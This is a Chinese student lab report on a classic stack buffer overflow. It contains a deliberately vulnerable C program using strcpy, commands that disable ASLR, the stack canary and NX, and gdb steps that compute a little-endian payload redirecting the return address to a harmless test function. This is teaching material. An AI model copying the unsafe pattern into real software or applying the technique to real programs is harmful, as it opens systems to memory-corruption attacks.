
第七章实验报告 

实验名称：简单栈溢出实验 

 

实验原理：栈被用于实现函数的调用以及存储局部变量，当使用诸如 strcpy、gets 等不安全

函数时，攻击者通过向栈中某个变量写入的字节数超过了这个变量本身所申请的字节数，使

得数据向高地址存储区域进行覆盖来修改返回地址，最终让程序根据攻击者的想法运行，这

种攻击被称为栈溢出攻击。栈的存储结构如下图所示。 

 

实验环境：Ubuntu23.04 虚拟机一台 

 

实验步骤： 

1. 配置实验环境：配置 Ubuntu23.04 虚拟机，配置 gcc 编译器。 

1） 本实验使用基于 VMware Workstation Pro 搭载 Ubuntu23.04 的虚拟机进行演示。系统信

息如下图所示。 

2） 在终端中输入命令 sudo apt-get install gcc -y，下载安装 gcc，安装完成后在终端中输入

gcc --version 查看是否安装成功。 

3） 在终端中输入命令 sudo apt-get install gcc-multilib -y，使 gcc 支持交叉编译。 

 

2. 创建 C 语言代码文件 StackOverflow.c，编写测试程序。在主函数中不调用攻击函数 inject，

不断修改 input 的值，通过 strcpy 函数使内存中返回地址被 param 覆盖为攻击函数 inject

的地址。 

 



1. #include <stdio.h> 

2. #include <string.h> 

3. #include <stdlib.h> 

4.   

5. char input[] = "AAAAABBBBBCCCCCD"; 

6.   

7. void inject() { 

8.  printf("*****inject success*****\n"); 

9. } 

10.   

11. void func_call() { 

12.  char param[16]; 

13.  strcpy(param, input); 

14. } 

15.   

16. int main() { 

17.  func_call(); 

18.  printf("main exit...\n"); 

19.  return 0; 

20. } 

3. 在终端中输入命令 sudo sysctl -w kernel.randomize_va_space=0，关闭进程空间地址随机

化功能。 

4. 在终端中输入命令 gcc -Wall -g -o StackOverflow StackOverflow.c -fno-stack-protector -z 

execstack -m32 编译测试程序，其中 -g 代表关闭所有优化机制， -fno-stack-protector 代

表关闭 Stack Canary 保护， -z execstack 代表禁用 NX（No-eXecute protect）保护，-m32

代表在编译阶段将编译目标指定为 32 位。 

5. 使用 gdb 工具对测试程序进行调试，通过查看汇编指令修改数组内容执行攻击。 

1） 在终端中输入命令 gdb StackOverflow 开始调试。 

2） 输入命令 b 13，在程序第 13 行设置断点，方便调试。 



3） 输入命令 r，再输入命令 n，开始调试。 

4） 输入命令 disassemble，查看当前汇编指令执行情况，=>符号所指的行为当前执行行。 

5） 输入命令 i r ebp esp，查看当前栈底指针 ebp 和栈顶指针 esp。 

6） 输入命令 p &param，查看数组 param 首地址。 

7） 输入命令 x /2xw 0xffffd068，查看 func_call 函数返回地址。输入命令 disassemble main，

发现当前返回地址为 main 函数。 



8） 根据栈的存储结构计算攻击文本。param 的首地址 0xffffd050 距离 func_call 函数返回地

址 0xffffd06C 有 28 个字节，因此将 input 设置为“28 位任意字符+4 位 inject 函数地址”。

输入命令 p &inject，查看 inject 函数地址为 0x565561ad。考虑到 Ubuntu 采用小端序，

可以将 input 设置为“AAAAABBBBBCCCCCDDDDDEEEEEFFF\xad\x61\x56\x55”。 

9） 在代码中修改 input 后重新编译程序，在终端中输入命令 gdb StackOverflow，输入命令

r 和 n，开始调试，发现 inject 函数被调用，攻击成功，结果如下图所示。 


